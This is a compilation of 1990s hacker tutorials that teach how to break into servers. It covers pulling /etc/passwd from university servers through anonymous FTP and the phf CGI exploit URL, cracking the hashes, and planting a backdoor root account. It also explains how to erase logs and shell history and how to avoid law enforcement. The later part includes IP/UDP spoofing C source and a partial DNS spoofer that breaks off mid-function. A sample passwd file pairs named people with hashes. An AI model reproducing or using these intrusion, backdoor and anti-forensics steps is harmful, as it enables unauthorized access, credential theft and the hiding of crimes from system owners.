Hacking and Cracking for All

Web Page Hacking for Newbies

++

Web Page Hacking For Newbies…

By.

AcidMeister.

ÏLLÛ$ÏÕÑ ÅÑGÊL

Visit Them At.

Written 30/12/1997

++

This guide was written in dedication of Samantha who showed me the right path in life, the path to Satanism and Paganism, and she
And to the guy BliNdfire who absolutely had to know how to browser hack, so here it is…

First of all you will need an ftp program such as ws_ftp. I use Voyager FTP downloadable at http://www.windows95.com it's real simple and easy to use, so try it if you haven't dealt with ftp before. Now once you have the program find an address like http://www.shiga-pc.ac.jp you can find addresses like this by going to a search engine such as AltaVista and running a search for url:ac.jp this tells the search engine to give you all the academic addresses in Japan ex. ac=academic jp=Japan , you can try this with any country ex. url:dk . But for now let's just focus on the Japanese servers. When u have an address (I would recommend making a list of about 100 and trying them all) go to your ftp program and type in the address ex. http://www.shiga-pc.ac.jp note.. You will have to log in anonymously. You should then get a list of folders on the remote system usr, pub,etc, dev, bin. See the etc folder? open it, once opened you should see some files passwd and group, open or view the file passwd (this is where the passwords for the system are stored), you should hopefully get something that looks like this.

root:RqX6dqOZsf4BI:0:1:System PRIVILEGED Account,,,:/:/bin/csh
field:PASSWORD HERE:0:1:Field Service PRIVILEGED Account:/usr/field:/bin/csh
operator:PASSWORD HERE:0:28:Operator PRIVILEGED Account:/opr:/opr/opser
ris:Nologin:11:11:Remote Installation Services Account:/usr/adm/ris:/bin/sh
daemon:*:1:1:Mr Background:/:
sys:PASSWORD HERE:2:3:Mr Kernel:/usr/sys:
bin:PASSWORD HERE:3:4:Mr Binary:/bin:
uucp:Nologin:4:1:UNIX-to-UNIX Copy:/usr/spool/uucppublic:/usr/lib/uucp/uucico
uucpa:Nologin:4:1:uucp adminstrative account:/usr/lib/uucp:

sso:Nologin:6:7:System Security Officer:/etc/security:
news:Nologin:8:8:USENET News System:/usr/spool/netnews:
sccs:PASSWORD HERE:9:10:Source Code Control:/:
ingres:PASSWORD HERE:267:74:ULTRIX/SQL Administrator:/usr/kits/sql:/bin/csh
rlembke:n25SO.YgDxqhs:273:15:Roger Lembke,,,:/usr/email/users/rlembke:/bin/csh
rhuston:ju.FWWOh0cUSM:274:15:Robert Huston,st 304c,386,:/usr/email/users/rhuston:/bin/csh
jgordon:w4735loqb8F5I:275:15:James."Tiger" Gordon:/usr/email/users/jgordon:/bin/csh
lpeery:YlJkAzKSxkz4M:276:15:Larry Peery:/usr/email/users/lpeery:/bin/csh
nsymes:lSzkVgKhuOWRM:277:15:Nancy Symes:/usr/email/users/nsymes:/bin/csh
llembke:yDAq2xZgzqmms:278:15:Linda Lembke:/usr/email/users/llembke:/bin/csh
grees:eb2pQcYI0Q5UI:279:15:Gary Rees:/usr/email/users/grees:/bin/csh
nreece:NiwrmCHzn5p7A:281:15:Neva Reece:/usr/email/users/nreece:/bin/csh
delliott:8Q1O1LukmfXfA:283:15:Dan Elliott:/usr/email/users/delliott:/bin/csh
erobinet:vGufhYNuhkTZ6:284:15:Eric Robinette:/usr/email/users/erobinet:/bin/csh
mhirsch:0AgYY2.YBLj8Y:285:15:Michael Hirsch:/usr/email/users/mhirsch:/bin/csh
schristi:yckqD6acrG2OM:289:15:Scott Christianson:/usr/email/users/schristi:/bin/csh
pdrummon:39MW8ROgoY.T6:294:15:R.Paul Drummond:/usr/email/users/pdrummon:/bin/csh
dbrown:fmTUonryY2mCE:295:15:Doris Brown:/usr/email/users/dbrown:/bin/csh

This means you've hit the jackpot, in this case you should get a password cracker download one at (http://www.hackersweb.com go to the hacking toolz section), I would recommend for the beginning hacker to get a password cracker such as killer cracker because it's extremely easy to use. Once you have downloaded killer cracker you will need a dictionary file (get one at http://www.hackersweb.com look in the extra toolz section), dictionary filez are better the bigger they are so I would recommend getting one at around 10 MB or more. Now the passwords from the passwd file off the server you are hacking, you will need to save them to a file and place them in the same directory as Killer Cracker, you will also need to have your dictionary file in the same directory. Now you are ready to go, just run killer cracker and tell it the name of the Pwfile=the password file and the name of the word file=your dictionary file, the valid file will be the file where the output of the password cracker will be put just give it a name such as crack.txt. Once the cracker is done cracking the password files for you goto the valid file and take a look the file should look something like this root:root:0:1:System PRIVILEGED Account,,,:/:/bin/csh (remember this is an example). This file says that the username is root and the password is rootif the file had been like this.
root:dumbass:0:1:System PRIVILEGED Account,,,:/:/bin/csh
(remember again just an example) the login or username would be root and the password would be dumbass, well that's it just ftp to the site using the login and password. Note if you get root type in the following once you have logged in:- echo "myserver::0:0:Test User:/:/bin/csh">>etc\passwd this will allow you to login to the server with 1:myserver so you get the admin suspicious when they see people login as root. Hide yourself as much as possible, if you already have a shell then go through that first when loggin on, or telnet to the hacked site shell and then re-telnet to the hacked shell using the hacked shell, if you see what I mean, so your who appears as local host. Also get some c scripts which delete your presence, erases you off logs etc…

Now if you were not as lucky to get exactly the same password file as shown in the example above then maybe you got something like this.

root:*:0:1:Operator:/:
ftp:*:53:53:anonymous ftp:/pub:

t2:*:201:201:Takaoka Tadashi:/pub:

This means that the passwd file is shadowed, if this is the case then welcome to the administrators world of trying to stop hackers, this is where you cant really do anything. However there is one thing to do sometimes in very rare cases there may be a folder on the remote system that can be accessed by an anonymous login called shadowed, shadow, or secret if this is the case the password files should be in there, congratulations. If there isn't a folder like this, and the passwd file is shadowed then bad luck, go to the next address on your list.

Now that you have tried the first thing as shown above there are a couple of other methods you may also want to try one is FTP hacking shown below…

Go to a dos prompt after you are connected to the internet .

Type.

ftp www.victim=the site address
server will ask for a username press enter
server will ask for a password press enter
at the prompt type quote user ftp
then type
quote cwd ~root
then type
quote pass ftp

If you get in make sure you delete the log file they might look at it and see that you were on. Once you get on the passwd file is in etc/passwd so type cd etc then type get passwd. If you have done the above right and the server is old you will have root access. By the way root is the highest security status you can have.

Another good way of getting root or a shell at least is through browser hacking. Again well use Japanese educational servers as our target. To do this you will need a browser such as Netscape or Internet Explorer, you will also need a telnet program, you can either download a telnet program at http://www.windows95.com or use the one that already comes with dos. To access the telnet program that comes with dos go to your dos windows and type in telnet www.site.com the site.com stand for the site you want to telnet to, it could be anything like www.geidai.ac.jp or www.tulips.tsukuba.ac.jp . You will also need a cracker program I would recommend using Killer Cracker and applying as above.

Next thing you do is open your browser and run a search for url:ac.jp , like explained above. Again I would recommend making a big list of your targets. Now when you have your targets we address type it in your browser and add this to it…

http://www.tagetgoeshere.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

or

http://www.tagetgoeshere.com/cgi/phf?Qalias=x%0a/bin/cat%20/etc/passwd

To all you out there who are slightly advanced, I know this is the phf technique and it is virtually dead, but you'll be surprised where you can use this.

This technique of finding the password file was first used in November 1996 on the fbi.gov webpage by a few hackers. It has been patched up by a lot of servers, so this won't work on something like www.nasa.gov or most of the www.*.com sites. But still works on many university servers outside Europe and the U.S.

O.K. Once the url is entered you will see a number of things:-

Error 404

Cgi-bin/phf is not found on this server (the most common one)

Or

Warning

You do not have permission to view cgi-bin/phf?/ on this server

There are a number of other things the server might say, but the thing you want it to say is this:-

Query Results

/usr/local/bin/ph -m alias=x /bin/cat /etc/passwd

root:2hjh34b4hj:0:1:0000-Admin(0000):/:/bin/sh
daemon:fghfhijyjk:1:1:0000-Admin(0000):/:
bin:fghfed7tfndgh:2:2:0000-Admin(0000):/usr/bin:/bin/csh
sys:fdn7:3:3:0000-Admin(0000):/:
adm:dehf6:4:4:0000-Admin(0000):/var/adm:
wnn:dfhfnv:5:5:0000-Admin(0000):/var/adm:
news:detdc:6:6:0000-Admin(0000):/usr/lib/news:
lp:qwwos:71:8:0000-lp(0000):/usr/spool/lp:
smtp:cmvof:0:0:mail daemon user:/:
uucp:lcocbe:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:pelebd:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:eoend:37:4:Network Admin:/usr/net/nls:
nobody:ccvjcvj:60001:60001:uid no b

etc…

This means you have hit the jackpot!!!

If you get something similar to this but all lines have something in common like the following:-

Query Results

/usr/local/bin/ph -m alias=x /bin/cat /etc/passwd

root:x:0:1:0000-Admin(0000):/:/bin/sh
daemon:x:1:1:0000-Admin(0000):/:

bin:x:2:2:0000-Admin(0000):/usr/bin:/bin/csh
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
wnn:x:5:5:0000-Admin(0000):/var/adm:
news:x:6:6:0000-Admin(0000):/usr/lib/news:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no b

(notice the c) if you don't know what this means it means the password file is shadowed and you cannot work out ht epasswords for a shadowed password file then you're in bad luck, I would recommend trying the ftp hack prior to this for the best results.

If some but not all logins have a * in them then it's ok, it's worth while getting the ones which aren't shadowed, hey a shell is a shell!!!

If you want to use your newly acquired shells then telnet to the site and put in the login and the password (remember you have to crack the password file first explained at the top).

Anyway that's it for now hope at least some people benefited from this guide.

Please send Comments, Questions, and Death threats to. But please no mailbombs i feel so sorry for you when i have to fry your asses...

Acidmeister@hotmail.com

Or visit him at.

http://www.hackersweb.com

For the ultimate list of hacking guides and toolz of the trade.

Or you can find him on…

Chat.yahoo.com as AcidMeister the one and only…

Disclaimer:

This is for Educational purposes only it should not be used as a guide to cause havoc or to hack. He He He, good luck!!! And don't get caught. I would hate to see you in a cell with your 300 pound Bruno The Gay Ax murderer. He He He…

This was written in Word Pad so if you have any problems let me know...

Help file generated by VB HelpWriter.

Hackers Handbook
MAx-------Hand Book01----------
just stuff to rember when hacking ...

section1: Tells u about this txt
section2: Tell's u some basic unix commands that will help u out
section3: Tells u about log's and where they can be placed and programs
to edit them.
section4: Tell's u of secruity programs on server
and where they usually are..
section5: Tell's u of some log modifyer programs around for unix system
section6: Tell's u of all the passwd files places on systems

section1..
This txt is just for people when hacking forget some stuff like
on where the passwd files on diff systems are and where all the log's
and so forth..

section2..
The simple UNiX commands

netstat -d (tells u all the nestat commands)
netstat (this tells u the host on a server)
nestat -n (this is a cool feature tells u everyone connected to server
and there ip and port)
cp /home/file ~MAx
etc. cp=copy /home <filename> ~MAx (~MAx is dir etc./home/max)
this is copying file from /home to /home/MAx
CD = CD
COPY = CP
DEL = RM
DIR = LS
HELP = HELP
MOVE = MV
w = tells u list of everyone on and what they are doing.
ls -alF = shows u all files on server even hidden ones.
All files with a . before them are hidden
LN = allows u to link a file to another
etc.(ln /home/MAx/.bash_history /dev/null
:this will link the history file to dev/null nothing :))

awk *=* Search for a pattern within a file
bdiff *=* Compares two large file
bfs *=* Scans a large file
cal *=* Displays a calendar
cat *=* Documents and prints file
cc *=* C compiler
cd *=* Change directory
chgrp *=* Changes a file's group ownership
chmod *=* Changes a file's access permissions
cmp *=* Compares two files
comm *=* Compares two files so as to determine which lines
= are common to both

cp *=* Copies a file to another location
cu *=* Calls another Unix system
date *=* Returns the date and time
fr *=* Displays free space in the file system
diff *=* Displays the differences between two files or dir's
diff3 *=* " " three files or dir's
du *=* Reports on file system usage
echo *=* Displays its argument
ed *=* Text editor
ex *=* Text editor
f77 *=* Fortran compiler
find *=* Locates the files with specified characteristics
format *=* Initializes a floppy disk
grep *=* Searches for a pattern within a file
help *=* Provides help
kill *=* Ends a process
in *=* Used to link files
ipr *=* Copies the file to the line printer
is *=* Displays information about one or more files
mail *=* Used to receive or deliver messages
mkdir *=* Creates a new directory
more *=* Displays a long file so that the user can scroll
mv *=* Used to move or rename files
nroff *=* Used to format text
passwd *=* Allows you to change your current password
ps *=* Display a process's status
pwd *=* Display the name of the working directory
rm *=* Removes one or more files
rmdir *=* Deletes one or more directories
sleep *=* Causes a process to become inactive for a specified
= amount of time
sort *=* Sort and merge one or more files
spell *=* Finds spelling errors in a file
split *=* Divides a file
stty *=* Displays or set terminal parameters
tail *=* Displays the end of a file
troff *=* Outputs formatted output to a typesetter
tset *=* Sets other terminal type
unmask *=* Allows the user to specify a new creation mass
uucp *=* Unix-to-Unix execute
vi *=* Full screen editor
wc *=* Displays details in the file size
who *=* Displays information on the system users
write *=* Used to send a message to another user
bin *=* Used to store Unix utilities
lib *=* Contains libraries used by Unix
tmp *=* Contains temporary files
etc *=* Contains administrative programs such as passwd
dev *=* Contains files which represent devices
usr *=* Contains user files

section3..
Log's
WTMP - every log on/off, with login/logout time plus tty and host
UTMP - who is online at the moment
LASTLOG - where did the logins come from

There are others.... just search around they are easly found
this where the top 3 files are ussually located
UTMP : /etc or /var/adm or /usr/adm or /usr/var/adm or /var/log
WTMP : /etc or /var/adm or /usr/adm or /usr/var/adm or /var/log
LASTLOG : /usr/var/adm or /usr/adm or /var/adm or /var/log

Shells------
sh: .sh_history

csh: .history

ksh: .sh_history

bash: .bash_history

zsh: .history
Backup Files :

dead.letter, *.bak, *~
these are located in the shell...
Here're 4 csh commands which will delete the .history when you log out,
without any trace.

```
mv .logout save.1
echo rm .history>.logout
echo rm .logout>>.logout
echo mv save.1 .logout>>.logout
```

section4..

yeah allways check for installed secruity programs
most security sites, there are security checkers run by cron.
The normal directory for the crontabs are /var/spool/cron/crontabs. Check
out all entries, especially the "root" file and examine the files they run.
Just a fast investigation of the crontabs of root type "crontab -l
root".

SOFTWARE	STANDARD PATH	BINARY FILENAMES
tripwire	/usr/adm/tcheck, /usr/local/adm/tcheck	databases, tripwire
binaudit	/usr/local/adm/audit	auditscan
hobgoblin	~user/bin	hobgoblin
raudit	~user/bin	raudit.pl
l5	compile directory	l5

First a small glossary of terms

Change	Changes fields of the logfile to anything you want
Delete	Deletes, cuts out the entries you want
Edit	real Editor for the logfile
Overwrite	just Overwrites the entries with zero-value bytes.

Don't use such software (f.e. zap) - it can be detected!

section5..

LOG MODIFIER

ah-1_0b.tar	Changes the entries of accounting information
clear.c	Deletes entries in utmp, wtmp, lastlog and wtmpx
cloak2.c	Changes the entries in utmp, wtmp and lastlog
invisible.c	Overwrites utmp, wtmp and lastlog with predefines values, so it's better than zap. Watch out, there are numerous inv*.c !
marryv11.c	Edit utmp, wtmp, lastlog and accounting data - best!
wzap.c	Deletes entries in wtmp
wtmped.c	Deletes entries in wtmp
zap.c	Overwrites utmp, wtmp, lastlog - Don't use! Can be detected

section6..

These are paths of where the passwd files will be on some servers
and the token in the paswd file tells u what it is ....

Version	Path	Token
AIX 3	/etc/security/passwd	!
or	/tcb/auth/files//	
A/UX 3.0s	/tcb/files/auth/?/*	
BSD4.3-Reno	/etc/master.passwd	*
ConvexOS 10	/etc/shadpw	*
ConvexOS 11	/etc/shadow	*
DG/UX	/etc/tcb/aa/user/	*
EP/IX	/etc/shadow	x
HP-UX	/.secure/etc/passwd	*
IRIX 5	/etc/shadow	x
Linux 1.1	/etc/shadow	*
OSF/1	/etc/passwd[.dir|.pag]	*
SCO Unix #.2.x	/tcb/auth/files//	
SunOS4.1+c2	/etc/security/passwd.adjunct	##username
SunOS 5.0	/etc/shadow	
System V Release 4.0	/etc/shadow	x
System V Release 4.2	/etc/security/* database	
Ultrix 4	/etc/auth[.dir|.pag]	*
UNICOS	/etc/udb	

That's the MAx handbook version 1
might bring out more this was just made for friends to look over ...
and remember
WORDS OF WISDOM>>..
ALL hackers should unite we are all fighting for the same reasons some

might be diff but we should all join forces so if we ever needed help
we would have it...
Everyones allways hearing about hacker wars
that shouldn't be on
just rember the web is our fighting ground not other hackers....
..

Newbiez

----------MAx Beginner guild to hacking----------

Personal words..(**I got a couple tuts out there allready and i will realease some more later on)**
And remember the If u want to hack learn how to set up your unix/linux as a server doing this will teach u how to hack it.
Table of content..

Ok the first thing i think is wrong with most hacking tuts they tell u how to hack but they dont tell u what your doing this and that for u dont really learn much. In this tut ill try to cover it more.. so newbiez understand.

A few unix commands
netstat -d (tells u all the nestat commands)
netstat (this tells u the host on a server)
nestat -n (this is a cool feature tells u everyone connected to server
and there ip and port)
cp /home/file ~MAx
etc. cp=copy /home <filename> ~MAx (~MAx is dir etc./home/max)
this is copying file from /home to /home/MAx
CD = CD
COPY = CP
DEL = RM
DIR = LS
HELP = HELP
MOVE = MV
w = tells u list of everyone on and what they are doing.
ls -alF = shows u all files on server even hidden ones.
All files with a . before them are hidden
LN = allows u to link a file to another
etc.(ln /home/MAx/.bash_history /dev/null
:this will link the history file to dev/null nothing :))

awk *=* Search for a pattern within a file
bdiff *=* Compares two large file
bfs *=* Scans a large file
cal *=* Displays a calendar
cat *=* Documents and prints file
cc *=* C compiler
cd *=* Change directory
chgrp *=* Changes a file's group ownership
chmod *=* Changes a file's access permissions
cmp *=* Compares two files
comm *=* Compares two files so as to determine which lines
***=* are common to both**
cp *=* Copies a file to another location
cu *=* Calls another Unix system
date *=* Returns the date and time

fr *=* Displays free space in the file system
diff *=* Displays the differences between two files or dir's
diff3 *=* " " three files or dir's
du *=* Reports on file system usage
echo *=* Displays its argument
ed *=* Text editor
ex *=* Text editor
f77 *=* Fortran compiler
find *=* Locates the files with specified characteristics
format *=* Initializes a floppy disk
grep *=* Searches for a pattern within a file
help *=* Provides help
kill *=* Ends a process
in *=* Used to link files
ipr *=* Copies the file to the line printer
is *=* Displays information about one or more files
mail *=* Used to receive or deliver messages
mkdir *=* Creates a new directory
more *=* Displays a long file so that the user can scroll
mv *=* Used to move or rename files
nroff *=* Used to format text
passwd *=* Allows you to change your current password
ps *=* Display a process's status
pwd *=* Display the name of the working directory
rm *=* Removes one or more files
rmdir *=* Deletes one or more directories
sleep *=* Causes a process to become inactive for a specified
= amount of time
sort *=* Sort and merge one or more files
spell *=* Finds spelling errors in a file
split *=* Divides a file
stty *=* Displays or set terminal parameters
tail *=* Displays the end of a file
troff *=* Outputs formatted output to a typesetter
tset *=* Sets other terminal type
unmask *=* Allows the user to specify a new creation mass
uucp *=* Unix-to-Unix execute
vi *=* Full screen editor
wc *=* Displays details in the file size
who *=* Displays information on the system users
write *=* Used to send a message to another user
bin *=* Used to store Unix utilities
lib *=* Contains libraries used by Unix
tmp *=* Contains temporary files
etc *=* Contains administrative programs such as passwd
dev *=* Contains files which represent devices
usr *=* Contains user files

1..(A little note for newbiez)
Ok before any of u guys
attempt to hack anything i recommend u drop the mircosoft products
and move ya self over to a linux/unix based mechine
the reason for this is windows o/s (operating systems) are easly traced and ten times harder to
spoof ya ip and host on one also it would be better for u to get a unix/linux because most isp and

web servers are all unix/linux mechines. If u learn a unix/linux then u will learn the enviroment of the server and thus... teaching u how to find ya own expolits on servers..
ill cover expolits and server hacking later on.
Ok this isnt necessary but i recommend u learn a computer language
all unix/linux are compiled and all programs on it are c code
so c and c++ would be a good language to learn
u dont have to learn these just if u do u will be able to find expolits make ya own ip spoofers and stuff like that to help u out along the way of hacking.So keep that in mind when learning .

2.(secruity... Ecentual before start hacking)..
Ok in this section ill teach of ways to secrure ya computer so if u do get to that part u can stop feds from getting the proof they need to lock u away.
List of things u need and why.
1. A hd encrypter-u need these because these programs allow u to
Encrypt data u send along the net.These are useful so others if they get your data they cant read it.
2. A file encrypter-File encrypters are good for a couple reason these programs allow u to encrypt ya files and programs and also hide them in other files so if ya get raided they cant find the proof they need to put u away.
Here are a couple good names of encrypters i know
1.pgp 6.0
2.Steganos
3.Blowfish
4.Triple des
5.Idea
there just a couple.
Thats probley all the computer files and secruity a newbiez needs
ill cover in more detail of other sorts of offline secruity in other tuts.
3.(Online secruity)
Now for all u newbiez online secruity is protecting ya computer from server traces and other sorts ot attacks to get ya ip and host
all the server needs is ya host and they ring up ya isp and send them a log saying MAx has been hacking my server here's the proof now do something about it
secruity on the net isnt that good thats why u find alot of kids hacking
alot of the time even if they get your host they dont bother to do anyhting about it because it would cost alot to get a lawer over in that country and get over there to go to court
its a waste of there time and money.
But secruity online is whats really needed feds woudlnt get near u if u know how to stop them.
But because this is a newbiez hacking tut i wont go into secruity on phone line traces.But if ya inpationt which is a bad thing go get some tuts on boxes and phreaking.
Anyway i recommend none of u go into hacking government servers and computers these guys have the ability to trace lines.
Ok before i start telling u how to spoof ya ip and host u should learn what are ip and hosts and how they work between computers
----------IP Spoofing----------
Ip spoofing is fooling another programs/computer into thinking your someone else.. See a ip (internet Protacol) is basiclly a tag on each computer that gives it a identification from each other like we have finger prints ip sort of the same thing.The reason we want to do this is because if we want to get root on another server or make it belive we are someone else so they cant trace our ip to get our host.This can be used in 2 ways to attack at mechine by getting root ill cover this attack in more detail in other tut or what im going to teach u now to secure ya computer from server traces..
Ok i will now go over how to spoof ya ip and host for unix/linux
there are alot of programs out there for linux/unix that are made to spoof ip and hosts on udp ports,tcp ip, and so forth. Ill cover the tcpip stack attacks and upd port attacks later on in another tut.

Here are some tuts c source codes out there for doing this
U need to compile these with ya linux/unix compiler all unix/linux come with one .
1.Arnudp.c

```
/************************************************************************/
/* arnudp.c version 0.01 by Arny - cs6171@scitsc.wlv.ac.uk              */
/* Sends a single udp datagram with the source/destination address/port */
/* set to whatever you want.   Unfortunately Linux 1.2 and SunOS 4.1    */
/* don't seem to have the IP_HDRINCL option, so the source address will */
/* be set to the real address.   It does however work ok on SunOS 5.4.  */
/* Should compile fine with just an ANSI compiler (such as gcc) under   */
/* Linux and SunOS 4.1, but with SunOS 5.4 you have to specify extra    */
/* libraries on the command line:                                       */
/*         /usr/ucb/cc -o arnudp arnudp001.c -lsocket -lnsl             */
/* I'll state the obvious - this needs to be run as root!   Do not use  */
/* this program unless you know what you are doing, as it is possible   */
/* that you could confuse parts of your network / internet.             */
/* (c) 1995 Arny - I accept no responsiblity for anything this does.    */
/************************************************************************/
/* I used the source of traceroute as an example while writing this.    */
/* Many thanks to Dan Egnor (egnor@ugcs.caltech.edu) and Rich Stevens   */
/* for pointing me in the right direction.                              */
/************************************************************************/

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in_systm.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<errno.h>
#include<string.h>
#include<netdb.h>
#include<arpa/inet.h>
#include<stdio.h>

struct sockaddr sa;

main(int argc,char **argv)
{
int fd;
int x=1;
struct sockaddr_in *p;
struct hostent *he;
u_char gram[38]=
        {
        0x45,   0x00,   0x00,   0x26,
        0x12,   0x34,   0x00,   0x00,
        0xFF,   0x11,   0,      0,
        0,      0,      0,      0,
        0,      0,      0,      0,

        0,      0,      0,      0,
        0x00,   0x12,   0x00,   0x00,

        '1','2','3','4','5','6','7','8','9','0'
```

```
        };

if(argc!=5)
        {
        fprintf(stderr,"usage: %s sourcename sourceport destinationname destinationport\
n",*argv);
        exit(1);
        };

if((he=gethostbyname(argv[1]))==NULL)
        {
        fprintf(stderr,"can't resolve source hostname\n");
        exit(1);
        };
bcopy(*(he->h_addr_list),(gram+12),4);

if((he=gethostbyname(argv[3]))==NULL)
        {
        fprintf(stderr,"can't resolve destination hostname\n");
        exit(1);
        };
bcopy(*(he->h_addr_list),(gram+16),4);

*(u_short*)(gram+20)=htons((u_short)atoi(argv[2]));
*(u_short*)(gram+22)=htons((u_short)atoi(argv[4]));

p=(struct sockaddr_in*)&sa;
p->sin_family=AF_INET;
bcopy(*(he->h_addr_list),&(p->sin_addr),sizeof(struct in_addr));

if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)
        {
        perror("socket");
        exit(1);
        };

#ifdef IP_HDRINCL
fprintf(stderr,"we have IP_HDRINCL :-)\n\n");
if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
        {
        perror("setsockopt IP_HDRINCL");
        exit(1);
        };
#else
fprintf(stderr,"we don't have IP_HDRINCL :-(\n\n");
#endif

if((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct sockaddr)))== -1)
        {
        perror("sendto");
        exit(1);
        };

printf("datagram sent without error:");
for(x=0;x<(sizeof(gram)/sizeof(u_char));x++)
        {
```

```
        if(!(x%4)) putchar('\n');
        printf("%02x",gram[x]);
        };
putchar('\n');

}
/*************************************************************************/

2.Jizz (ip host spoofer)

#define VERSION ".01b"
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <strings.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

#define MAXBUFSIZE          64*1024

#define DC_A              1
#define DC_NS             2
#define DC_CNAME          5
#define DC_SOA            6
#define DC_WKS            11
#define DC_PTR            12
#define DC_HINFO          13
#define DC_MINFO          14
#define DC_MX             15
#define DC_TXT            16

typedef struct {
  unsigned short id;

  unsigned char   rd:1;           /* recursion desired */
  unsigned char   tc:1;           /* truncated message */
  unsigned char   aa:1;           /* authoritive answer */
  unsigned char   opcode:4;       /* purpose of message */
  unsigned char   qr:1;           /* response flag */

  unsigned char   rcode:4;        /* response code */
  unsigned char   unused:2;       /* unused bits */
  unsigned char   pr:1;           /* primary server required (non standard) */
  unsigned char   ra:1;           /* recursion available */

  unsigned short qdcount;
  unsigned short ancount;
  unsigned short nscount;
  unsigned short arcount;
} dnsheaderrec;

typedef struct {
  unsigned short labellen;
  char label[256];
```

```
  unsigned short type;
  unsigned short class;
  unsigned long ttl;
  unsigned short buflen;
  char buf[256];
} dnsrrrec;

typedef struct {
  dnsheaderrec h;

  dnsrrrec qd[20];
  dnsrrrec an[20];
  dnsrrrec ns[20];
  dnsrrrec ar[20];
} dnsrec;

char *dnssprintflabel(char *s, char *buf, char *p);
char *dnsaddlabel(char *p, char *label);
void dnstxt2rr(dnsrrrec *rr, char *b);
void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...);
char *dnsaddbuf(char *p, void *buf, short len);
int dnsmakerawpacket(dnsrec *dns, char *buf);

unsigned long rev_long(l) unsigned long l;
{
  unsigned long i = 0;
  int n = sizeof(i);
  while (n--) {
    i = (i << 8) | (l & 255); l >>= 8;
  }
  return i;
}

char *dnssprintflabel(char *s, char *buf, char *p)
{
  unsigned short i,len;
  char *b=NULL;

  len=(unsigned short)*(p++);
  while (len) {
    while (len >= 0xC0) {
      if (!b)
        b=p+1;
      p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
      len=(unsigned short)*(p++);
    }

    for (i=0;i<len;i++)
      *(s++)=*(p++);

    *(s++)='.';

    len=(unsigned short)*(p++);
  }

  *(s++)=0;
```

```
  if (b)
    return(b);

  return(p);
}

char *dnsaddlabel(char *p, char *label)
{
  char *p1;

  while ((*label) && (label)) {
    if ((*label == '.') && (!*(label+1)))
      break;

    p1=strchr(label,'.');

    if (!p1)
      p1=strchr(label,0);

    *(p++)=p1-label;
    memcpy(p,label,p1-label);
    p+=p1-label;

    label=p1;
    if (*p1)
      label++;
  }
  *(p++)=0;

  return(p);
}

#define DEFAULTTTL 60*10

void dnstxt2rr(dnsrrrec *rr, char *b)
{
  char *tok[20], *p;
  unsigned short numt=0, i;
  static char *buf=NULL;

  if (!buf) {
    if ((buf=malloc(1024)) == NULL) {
      perror("malloc");
      exit(-1);
    }
  }

  strcpy(buf,b);
  p=strtok(buf," \t");
  do {
    tok[numt++]=p;
  } while (p=strtok(NULL," \t"));

  p=dnsaddlabel(rr->label,tok[0]);
  rr->labellen=p-rr->label;
```

```
i=1;

if (isdigit(*p))
   rr->ttl=htonl(atol(tok[i++]));
  else
   rr->ttl=htonl(DEFAULTTTL);

if (strcmp(tok[i],"IN") == 0)
   i++;

rr->class=htons(1);

if (strcmp(tok[i],"A") == 0) {
   i++;
   rr->type=htons(DC_A);
   if (i < numt) {
      inet_aton(tok[i],rr->buf);
      rr->buflen=4;
   } else
      rr->buflen=0;
   return;
}

if (strcmp(tok[i],"CNAME") == 0) {
   i++;
   rr->type=htons(DC_CNAME);
   if (i < numt) {
      p=dnsaddlabel(rr->buf,tok[i]);
      rr->buflen=p-rr->buf;
   } else
      rr->buflen=0;
   return;
}

if (strcmp(tok[i],"NS") == 0) {
   i++;
   rr->type=htons(DC_NS);
   if (i < numt) {
      p=dnsaddlabel(rr->buf,tok[i]);
      rr->buflen=p-rr->buf;
   } else
      rr->buflen=0;
   return;
}

if (strcmp(tok[i],"PTR") == 0) {
   i++;
   rr->type=htons(DC_PTR);
   if (i < numt) {
      p=dnsaddlabel(rr->buf,tok[i]);
      rr->buflen=p-rr->buf;
   } else
      rr->buflen=0;
   return;
}
```

```
  if (strcmp(tok[i],"MX") == 0) {
    i++;
    rr->type=htons(DC_MX);
    if (i < numt) {
      p=rr->buf;
      *((unsigned short *)p)=htons(atoi(tok[i++])); p+=2;
      p=dnsaddlabel(p,tok[i]);
      rr->buflen=p-rr->buf;
    } else
      rr->buflen=0;
    return;
  }
}

void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...)
{
  int i;
  va_list va;

  dns->h.qdcount=htons(qdcount);
  dns->h.ancount=htons(ancount);
  dns->h.nscount=htons(nscount);
  dns->h.arcount=htons(arcount);
  dns->h.rcode=0;

  va_start(va, arcount);

  for (i=0;i<qdcount;i++)
    dnstxt2rr(&dns->qd[i],va_arg(va, char *));

  for (i=0;i<ancount;i++)
    dnstxt2rr(&dns->an[i],va_arg(va, char *));

  for (i=0;i<nscount;i++)
    dnstxt2rr(&dns->ns[i],va_arg(va, char *));

  for (i=0;i<arcount;i++)
    dnstxt2rr(&dns->ar[i],va_arg(va, char *));


  va_end(va);
}

char *dnsaddbuf(char *p, void *buf, short len)
{
  memcpy(p,buf,len);
  return(p+len);
}

int dnsmakerawpacket(dnsrec *dns, char *buf)
{
  char *p;
  int i;
  unsigned short len;

  memcpy(buf,&dns->h,sizeof(dnsheaderrec));
```

```
  p=buf+sizeof(dnsheaderrec);

  /********** Query ***********/
  for (i=0;i<ntohs(dns->h.qdcount);i++) {
